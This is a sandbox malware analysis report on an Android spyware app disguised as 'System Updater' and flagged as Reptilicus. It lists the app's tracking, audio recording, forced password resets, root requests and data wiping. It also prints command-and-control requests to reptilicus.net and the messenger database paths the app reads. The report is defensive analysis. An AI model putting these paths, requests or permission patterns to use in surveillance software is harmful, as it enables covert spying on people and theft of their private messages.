Loading ...

Analysis Report nUcFpnJ7qZ

Overview

General Information

Joe Sandbox Version:26.0.0
Analysis ID:830721
Start date:03.04.2019
Start time:15:43:08
Joe Sandbox Product:Cloud
Overall analysis duration:0h 5m 48s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:nUcFpnJ7qZ
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 7.1 Nougat
APK Instrumentation enabled:true
Detection:MAL
Classification:mal92.rans.adwa.spyw.evad.and@0/251@1/0
Warnings:
Show All
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all non-executed APIs are in report
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold920 - 100Report FP / FNfalsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


Location Tracking:

barindex
Queries the phones location (GPS)Show sources
Source: net.vkurhandler.bf;->a:27API Call: android.location.Location.getLatitude
Source: net.vkurhandler.bf;->a:30API Call: android.location.Location.getLongitude
Source: net.vkurhandler.Mobile;->b:129API Call: android.telephony.TelephonyManager.getCellLocation

Privilege Escalation:

barindex
Forces setting a new device unlock passwordShow sources
Source: net.vkurhandler.ParentControlActivity;->a:10API Call: android.app.admin.DevicePolicyManager.resetPassword
Source: net.vkurhandler.SettingsActivity;->a:119API Call: android.app.admin.DevicePolicyManager.resetPassword
Source: net.vkurhandler.ah;->b:1985API Call: android.app.admin.DevicePolicyManager.resetPassword
Starts an activity on device admin enabledShow sources
Source: net.vkurhandler.RDeviceAdminReceiver;->onDisableRequested:17API Call: android.content.Context.startActivity (not executed)
Starts/registers a service/receiver on device admin enabledShow sources
Source: net.vkurhandler.RDeviceAdminReceiver;->onDisableRequested:19API Call: android.content.Context.startService (not executed)
Checks if the device administrator is activeShow sources
Source: net.vkurhandler.ParentControlActivity;->onClickParentControlSetPhoneLockPassword:24API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.SettingsActivity;->a:61API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.SettingsActivity;->onClickDoPhotoOnFailedUnlock:748API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.SettingsActivity;->onClickParentControlSetPhoneLockPassword:780API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.SettingsActivity;->toogleAdmin:937API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.ah;->a:127API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.ah;->a:1770API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.ah;->b:1981API Call: android.app.admin.DevicePolicyManager.isAdminActive
Source: net.vkurhandler.fd;->onClick:13API Call: android.app.admin.DevicePolicyManager.isAdminActive
Requests root accessShow sources
Source: net.vkurhandler.ec;->a:39API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ec;->a:42API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ec;->b:68API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ed;->run:4API Call: java.lang.Runtime.exec ("su")
Tries to add a new device administratorShow sources
Source: net.vkurhandler.SettingsActivity;->toogleAdmin:945API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
Source: net.vkurhandler.cl;->onClick:4API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
Source: net.vkurhandler.ff;->onClick:4API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN
Source: net.vkurhandler.fi;->onClick:4API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN

Spreading:

barindex
Has permission to change the WIFI configuration including connecting and disconnectingShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Scans the access points for available WIFI networksShow sources
Source: net.vkurhandler.ah;->a:1633API Call: android.net.wifi.WifiManager.startScan
Accesses external storage locationShow sources
Source: net.vkurhandler.DirectoryPicker;->onCreate:40API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.MediaMountReceiver;->onReceive:3API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.bl;->b:9API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.bm;->onEvent:23API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.bu;->a:1API Call: android.os.Environment.getExternalStorageState
Source: net.vkurhandler.bu;->b:5API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.bu;->c:13API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.cx;->b:8API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.cx;->b:27API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.dw;->run:64API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.dy;->run:46API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->a:256API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->a:312API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->c:457API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->d:472API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->g:603API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->g:624API Call: android.os.Environment.getExternalStorageState
Source: net.vkurhandler.gn;->g:632API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->g:645API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->g:659API Call: android.os.Environment.getExternalStorageDirectory
Source: net.vkurhandler.gn;->g:675API Call: android.os.Environment.getExternalStorageDirectory

Networking:

barindex
Checks an internet connection is availableShow sources
Source: net.vkurhandler.gn;->i:777API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: net.vkurhandler.gn;->i:778API Call: android.net.NetworkInfo.isConnected
Source: net.vkurhandler.gn;->a:326API Call: android.net.ConnectivityManager.getNetworkInfo
Source: net.vkurhandler.gn;->a:327API Call: android.net.NetworkInfo.isConnected
Source: net.vkurhandler.ah;->a:1631API Call: android.net.wifi.WifiManager.isWifiEnabled
Source: net.vkurhandler.ai;->onReceive:12API Call: android.net.wifi.WifiManager.getConnectionInfo
Source: net.vkurhandler.gn;->j:784API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: net.vkurhandler.gn;->j:785API Call: android.net.NetworkInfo.isConnected
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Source: unknownTCP traffic detected without corresponding DNS query: 74.125.133.188
Enables or disables WIFIShow sources
Source: net.vkurhandler.DispatchService;->a:9API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: net.vkurhandler.DispatchService;->b:167API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: net.vkurhandler.ah;->a:401API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: net.vkurhandler.ah;->a:408API Call: android.net.wifi.WifiManager.setWifiEnabled
HTTP GET or POST without a user agentShow sources
Source: global trafficHTTP traffic detected: GET /backend/new/rp.php HTTP/1.1Host: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 202Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzipData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 70 72 65 66 65 72 65 6e 63 65 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 6c 6f 61 64 25 32 32 25 32 43 25 32 32 64 65 76 69 63 65 5f 69 64 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 61 70 70 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 53 79 73 74 65 6d 2b 55 70 64 61 74 65 72 25 32 32 25 32 43 25 32 32 70 6b 67 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 6e 65 74 2e 76 6b 75 72 68 61 6e 64 6c 65 72 25 32 32 25 32 43 25 32 32 64 6f 6d 61 69 6e 5f 69 64 25 32 32 25 33 41 30 25 37 44 Data Ascii: params=%7B%22module%22%3A%22preference%22%2C%22action%22%3A%22load%22%2C%22device_id%22%3A%22%22%2C%22app_name%22%3A%22System+Updater%22%2C%22pkg_name%22%3A%22net.vkurhandler%22%2C%22domain_id%22%3A0%7D
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 71Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzipData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 63 6c 69 65 6e 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 67 65 74 5f 6c 69 63 25 32 32 25 37 44 Data Ascii: params=%7B%22module%22%3A%22client%22%2C%22action%22%3A%22get_lic%22%7D
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 840Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 71Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzipData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 63 6c 69 65 6e 74 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 67 65 74 5f 6c 69 63 25 32 32 25 37 44 Data Ascii: params=%7B%22module%22%3A%22client%22%2C%22action%22%3A%22get_lic%22%7D
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 840Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzip
Source: global trafficHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 511Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzip
Opens an internet connectionShow sources
Source: net.vkurhandler.gk;->run:32API Call: java.net.Socket.connect (not executed)
Source: net.vkurhandler.gn;->a:21API Call: java.net.URL.openConnection (not executed)
Scans for WIFI networksShow sources
Source: net.vkurhandler.ah;->a:1633API Call: android.net.wifi.WifiManager.startScan
Source: net.vkurhandler.ai;->onReceive:11API Call: android.net.wifi.WifiManager.getScanResults
Downloads files from webservers via HTTPShow sources
Source: global trafficHTTP traffic detected: GET /backend/new/rp.php HTTP/1.1Host: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzip
Found strings which match to known social media urlsShow sources
Source: resources.arscString found in binary or memory: Facebook equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: Facebook,L equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: +/data/data/com.vkontakte.android/databases/ equals www.vkontakte.ru (VKontakte)
Source: classes.dexString found in binary or memory: /data/data/3/data/data/com.facebook.orca/databases/contacts_db26/data/data/com.facebook.orca/databases/contacts_db2.cp2/data/data/com.facebook.orca/databases/threads_db25/data/data/com.facebook.orca/databases/threads_db2.cp0/data/data/com.gemtechnologies.gem4me/databases/1/data/data/com.gemtechnologies.gem4me/databases/*6/data/data/com.gemtechnologies.gem4me/databases/gem_db+/data/data/com.imo.android.imoim/databases/,/data/data/com.imo.android.imoim/databases/*7/data/data/com.imo.android.imoim/databases/accountdb.db8/data/data/com.imo.android.imoim/databases/imofriends.db+/data/data/com.instagram.android/databases/,/data/data/com.instagram.android/databases/*4/data/data/com.instagram.android/databases/direct.db,/data/data/com.skype.raider/files/%s/main.db,/data/data/com.skype.raider/files/shared.xml'/data/data/com.skype.raider/files/sk.cp2/data/data/com.viber.voip/databases/viber_messagesB/data/data/com.viber.voip/files/preferences/reg_viber_country_code?/data/data/com.viber.voip/files/preferences/reg_viber_p
Source: classes.dexString found in binary or memory: /data/data/3/data/data/com.facebook.orca/databases/contacts_db26/data/data/com.facebook.orca/databases/contacts_db2.cp2/data/data/com.facebook.orca/databases/threads_db25/data/data/com.facebook.orca/databases/threads_db2.cp0/data/data/com.gemtechnologies.gem4me/databases/1/data/data/com.gemtechnologies.gem4me/databases/*6/data/data/com.gemtechnologies.gem4me/databases/gem_db+/data/data/com.imo.android.imoim/databases/,/data/data/com.imo.android.imoim/databases/*7/data/data/com.imo.android.imoim/databases/accountdb.db8/data/data/com.imo.android.imoim/databases/imofriends.db+/data/data/com.instagram.android/databases/,/data/data/com.instagram.android/databases/*4/data/data/com.instagram.android/databases/direct.db,/data/data/com.skype.raider/files/%s/main.db,/data/data/com.skype.raider/files/shared.xml'/data/data/com.skype.raider/files/sk.cp2/data/data/com.viber.voip/databases/viber_messagesB/data/data/com.viber.voip/files/preferences/reg_viber_country_code?/data/data/com.viber.voip/files/preferences/reg_viber_p
Source: androidString found in binary or memory: /data/data/com.facebook.orca/databases/contacts_db2 equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.orca/databases/contacts_db2.cp equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.orca/databases/threads_db2 equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.orca/databases/threads_db2.cp equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.vkontakte.android/databases/ equals www.vkontakte.ru (VKontakte)
Source: androidString found in binary or memory: /data/data/com.vkontakte.android/databases/vk.db equals www.vkontakte.ru (VKontakte)
Source: androidString found in binary or memory: /data/data/com.vkontakte.android/databases/vkim.sqlite equals www.vkontakte.ru (VKontakte)
Source: androidString found in binary or memory: /data/data/com.vkontakte.android/shared_prefs/null.xml equals www.vkontakte.ru (VKontakte)
Source: classes.dexString found in binary or memory: 0/data/data/com.vkontakte.android/databases/vk.db equals www.vkontakte.ru (VKontakte)
Source: classes.dexString found in binary or memory: 2/data/data/com.facebook.orca/databases/threads_db2 equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: 3/data/data/com.facebook.orca/databases/contacts_db2 equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: 5/data/data/com.facebook.orca/databases/threads_db2.cp equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: 6/data/data/com.facebook.orca/databases/contacts_db2.cp equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: 6/data/data/com.vkontakte.android/databases/vkim.sqlite equals www.vkontakte.ru (VKontakte)
Source: classes.dexString found in binary or memory: 6/data/data/com.vkontakte.android/shared_prefs/null.xml equals www.vkontakte.ru (VKontakte)
Source: resources.arscString found in binary or memory: ;;Messenger archivation filter (Viber/WhatsApp/Facebook/Kate) equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: Facebook equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: Facebook messages equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: Facebook messages##The numbers added to the phone book equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: Messenger archivation filter (Viber/WhatsApp/Facebook/Kate) equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: To prohibit the installation of malware detectors, optimizers, cleaners and other applications that affect on the stable work of the app;;Messenger archivation filter (Viber/WhatsApp/Facebook/Kate) equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: VKontakte messages (Root) equals www.vkontakte.ru (VKontakte)
Source: resources.arscString found in binary or memory: VKontakte messages equals www.vkontakte.ru (VKontakte)
Source: resources.arscString found in binary or memory: com.facebook.orca equals www.facebook.com (Facebook)
Source: resources.arscString found in binary or memory: com.vkontakte.android equals www.vkontakte.ru (VKontakte)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: reptilicus.net
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /backend/new/handler.php HTTP/1.1Content-Length: 202Content-Type: application/x-www-form-urlencodedHost: reptilicus.netConnection: Keep-AliveAccept-Encoding: gzipData Raw: 70 61 72 61 6d 73 3d 25 37 42 25 32 32 6d 6f 64 75 6c 65 25 32 32 25 33 41 25 32 32 70 72 65 66 65 72 65 6e 63 65 25 32 32 25 32 43 25 32 32 61 63 74 69 6f 6e 25 32 32 25 33 41 25 32 32 6c 6f 61 64 25 32 32 25 32 43 25 32 32 64 65 76 69 63 65 5f 69 64 25 32 32 25 33 41 25 32 32 25 32 32 25 32 43 25 32 32 61 70 70 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 53 79 73 74 65 6d 2b 55 70 64 61 74 65 72 25 32 32 25 32 43 25 32 32 70 6b 67 5f 6e 61 6d 65 25 32 32 25 33 41 25 32 32 6e 65 74 2e 76 6b 75 72 68 61 6e 64 6c 65 72 25 32 32 25 32 43 25 32 32 64 6f 6d 61 69 6e 5f 69 64 25 32 32 25 33 41 30 25 37 44 Data Ascii: params=%7B%22module%22%3A%22preference%22%2C%22action%22%3A%22load%22%2C%22device_id%22%3A%22%22%2C%22app_name%22%3A%22System+Updater%22%2C%22pkg_name%22%3A%22net.vkurhandler%22%2C%22domain_id%22%3A0%7D
Urls found in memory or binary dataShow sources
Source: libacr.soString found in binary or memory: http://gcc.gnu.org/bugs.html):
Source: androidString found in binary or memory: http://reptilicus.net/backend/new/rp.php
Source: androidString found in binary or memory: http://reptilicus.net/bn/g.php?
Source: activity_main.xml, AndroidManifest.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: libmp3lame.soString found in binary or memory: http://www.mp3dev.org/
Source: libmp3lame.soString found in binary or memory: http://www.mp3dev.org/32bits64bits
Source: classes.dex, androidString found in binary or memory: https://maps.google.com/maps?q=%s
Source: androidString found in binary or memory: https://phonecontrolapp.com/sonfidentiality/
Source: androidString found in binary or memory: https://reptilicus.net/konfidencialnost

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Has permission to record audio in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Has permission to take photosShow sources
Source: submitted apkRequest permission: android.permission.CAMERA
Records audio/mediaShow sources
Source: net.vkurhandler.bo;->d:195API Call: com.nll.nativelibs.callrecording.a.startRecording
Source: com.nll.nativelibs.callrecording.a;->startRecording:50API Call: android.media.AudioRecord.startRecording
Accesses the audio/media managersShow sources
Source: net.vkurhandler.bo;-><init>:23API Call: android.media.AudioRecord.<init>
Source: net.vkurhandler.bo;-><init>:53API Call: com.nll.nativelibs.callrecording.a.<init>
Source: net.vkurhandler.bo;->f:244API Call: com.nll.nativelibs.callrecording.a.<init>
Source: com.nll.nativelibs.callrecording.a;-><init>:3API Call: android.media.AudioRecord.<init>

E-Banking Fraud:

barindex
Has functionalty to add an overlay to other appsShow sources
Source: net.vkurhandler.AdminUnlockViewService;->c:20API Call: WindowManager.addView
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
May check for popular installed appsShow sources
Source: Lnet/vkurhandler/ah;->b(Landroid/content/Context;Ljava/util/List;)Ljava/lang/String;Method string: "[{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cy
Source: Lnet/vkurhandler/ds;->run()VMethod string: "/data/data/com.whatsapp/databases/*"
Source: Lnet/vkurhandler/dh;->run()VMethod string: "/data/data/com.imo.android.imoim/databases/*"
Source: Lnet/vkurhandler/dq;->run()VMethod string: "/data/data/com.viber.voip/databases/viber_messages"
Source: Lnet/vkurhandler/df;->run()VMethod string: "/data/data/com.facebook.orca/databases/threads_db2"
Source: Lnet/vkurhandler/di;->run()VMethod string: "/data/data/com.instagram.android/databases/*"
May query for the most recent running application (usually for UI overlaying)Show sources
Source: net.vkurhandler.gn;->agetRunningTasks and getPackageName invocations in same method: net.vkurhandler.gn;->a:78, net.vkurhandler.gn;->a:81
Source: net.vkurhandler.gn;->agetRunningTasks and getPackageName invocations in same method: net.vkurhandler.gn;->a:78, net.vkurhandler.gn;->a:81

Spam, unwanted Advertisements and Ransom Demands:

barindex
Detected Adware ReptilicusShow sources
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "reptilicus"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "reptilicus/data/"
Source: Lnet/vkurhandler/de;-><clinit>()VMethod string: "http://reptilicus.net/bn/g.php?"
Tries to disable the administrator userShow sources
Source: net.vkurhandler.SettingsActivity;->toogleAdmin:940API Call: android.app.admin.DevicePolicyManager.removeActiveAdmin
Source: net.vkurhandler.ah;->a:1771API Call: android.app.admin.DevicePolicyManager.removeActiveAdmin
Source: net.vkurhandler.fd;->onClick:18API Call: android.app.admin.DevicePolicyManager.removeActiveAdmin
Has permission to perform phone calls in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Has permission to send SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.SEND_SMS
Has permission to write to the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.WRITE_SMS
Has permission to write to the default browser historyShow sources
Source: submitted apkRequest permission: com.android.browser.permission.WRITE_HISTORY_BOOKMARKS
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
May block phone calls / Accesses private ITelephony interfaceShow sources
Source: net.vkurhandler.Mobile;->a:19API Call: java.lang.Class.getDeclaredMethod("getITelephony")
Source: net.vkurhandler.Mobile;->a:43API Call: java.lang.Class.getDeclaredMethod("getITelephony")
May check for popular installed appsShow sources
Source: Lnet/vkurhandler/ah;->b(Landroid/content/Context;Ljava/util/List;)Ljava/lang/String;Method string: "[{"app_name":"YouTube","pkg_name":"com.google.android.youtube"},{"app_name":"RSS Reader","pkg_name":"com.example.android.rssreader"},{"app_name":"Google App","pkg_name":"com.google.android.googlequicksearchbox"},{"app_name":"Calibration","pkg_name":"org.zeroxlab.util.tscal"},{"app_name":"Files","pkg_name":"com.android.documentsui"},{"app_name":"Contacts","pkg_name":"com.android.contacts"},{"app_name":"Gmail","pkg_name":"com.google.android.gm"},{"app_name":"Calendar","pkg_name":"com.android.calendar"},{"app_name":"NotePad","pkg_name":"com.example.android.notepad"},{"app_name":"Chrome","pkg_name":"com.android.chrome"},{"app_name":"Phone","pkg_name":"com.android.dialer"},{"app_name":"Gallery","pkg_name":"com.android.gallery3d"},{"app_name":"System Updater","pkg_name":"net.vkurhandler"},{"app_name":"Terminal Emulator","pkg_name":"jackpal.androidterm"},{"app_name":"Settings","pkg_name":"com.android.settings"},{"app_name":"Taskbar","pkg_name":"com.farmerbb.taskbar.androidx86"},{"app_name":"Music","pkg_name":"com.cy
Source: Lnet/vkurhandler/ds;->run()VMethod string: "/data/data/com.whatsapp/databases/*"
Source: Lnet/vkurhandler/dh;->run()VMethod string: "/data/data/com.imo.android.imoim/databases/*"
Source: Lnet/vkurhandler/dq;->run()VMethod string: "/data/data/com.viber.voip/databases/viber_messages"
Source: Lnet/vkurhandler/df;->run()VMethod string: "/data/data/com.facebook.orca/databases/threads_db2"
Source: Lnet/vkurhandler/di;->run()VMethod string: "/data/data/com.instagram.android/databases/*"
May use Google Cloud Messaging (GCM) or Google's Cloud to Device Messaging (C2DM) servicesShow sources
Source: submitted apkRequest permission: net.vkurhandler.permission.C2D_MESSAGE
Sends SMS using SmsManagerShow sources
Source: net.vkurhandler.gn;->b:376API Call: android.telephony.SmsManager.sendTextMessage

Operating System Destruction:

barindex
Deletes other packagesShow sources
Source: net.vkurhandler.fd;->onClick:30API Call: net.vkurhandler.SettingsActivity.startActivity
May wipe phone dataShow sources
Source: net.vkurhandler.ak;->run:5API Call: android.app.admin.DevicePolicyManager.wipeData
Has permission to delete other packagesShow sources
Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
Lists and deletes files in the same contextShow sources
Source: net.vkurhandler.gn;->a:323API Calls in same method context: File.listFiles,File.delete
Source: net.vkurhandler.bm;->onEvent:44API Calls in same method context: File.listFiles,File.delete
Source: org.sqlite.database.sqlite.SQLiteDatabase;->deleteDatabase:63API Calls in same method context: File.listFiles,File.delete
Source: net.vkurhandler.gn;->d:484API Calls in same method context: File.listFiles,File.delete
Source: net.vkurhandler.gn;->b:374API Calls in same method context: File.listFiles,File.delete

Change of System Appearance:

barindex
May access the Android keyguard (lock screen)Show sources
Source: AndroidManifest.xmlString found in binary or memory: android.hardware.camera.front#android.permission.ACCESS_SUPERUSER,android.permission.MOUNT_UNMOUNT_FILESYSTEMS)android.permission.WRITE_INTERNAL_STORAGE#android.permission.DISABLE_KEYGUARD#android.permission.INSTALL_PACKAGES"android.permission.DELETE_PACKAGES&android.permission.SYSTEM_ALERT_WINDOW-android.permission.BIND_ACCESSIBILITY_SERVICE&android.permission.PACKAGE_USAGE_STATS

System Summary:

barindex
Executes native commandsShow sources
Source: net.vkurhandler.ec;->a:39API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ec;->a:42API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ec;->b:68API Call: java.lang.Runtime.exec ("su")
Source: net.vkurhandler.ed;->run:4API Call: java.lang.Runtime.exec ("su")
Source: com.nll.nativelibs.callrecording.d;->d:12API Call: java.lang.Runtime.exec
Requests permissions only permitted to signed APKsShow sources
Source: submitted apkRequest permission: android.permission.CHANGE_COMPONENT_ENABLED_STATE
Source: submitted apkRequest permission: android.permission.DEVICE_POWER
Source: submitted apkRequest permission: android.permission.PACKAGE_USAGE_STATS
Requests permissions only permitted to signed APKs or APKs which are within the system imageShow sources
Source: submitted apkRequest permission: android.permission.DELETE_PACKAGES
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Source: submitted apkRequest permission: android.permission.WRITE_SECURE_SETTINGS
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Source: submitted apkRequest permission: android.permission.CALL_PHONE
Source: submitted apkRequest permission: android.permission.CAMERA
Source: submitted apkRequest permission: android.permission.CHANGE_NETWORK_STATE
Source: submitted apkRequest permission: android.permission.CHANGE_WIFI_STATE
Source: submitted apkRequest permission: android.permission.GET_TASKS
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.MODIFY_AUDIO_SETTINGS
Source: submitted apkRequest permission: android.permission.MODIFY_PHONE_STATE
Source: submitted apkRequest permission: android.permission.MOUNT_FORMAT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Source: submitted apkRequest permission: android.permission.READ_SMS
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Source: submitted apkRequest permission: android.permission.SEND_SMS
Source: submitted apkRequest permission: android.permission.SYSTEM_ALERT_WINDOW
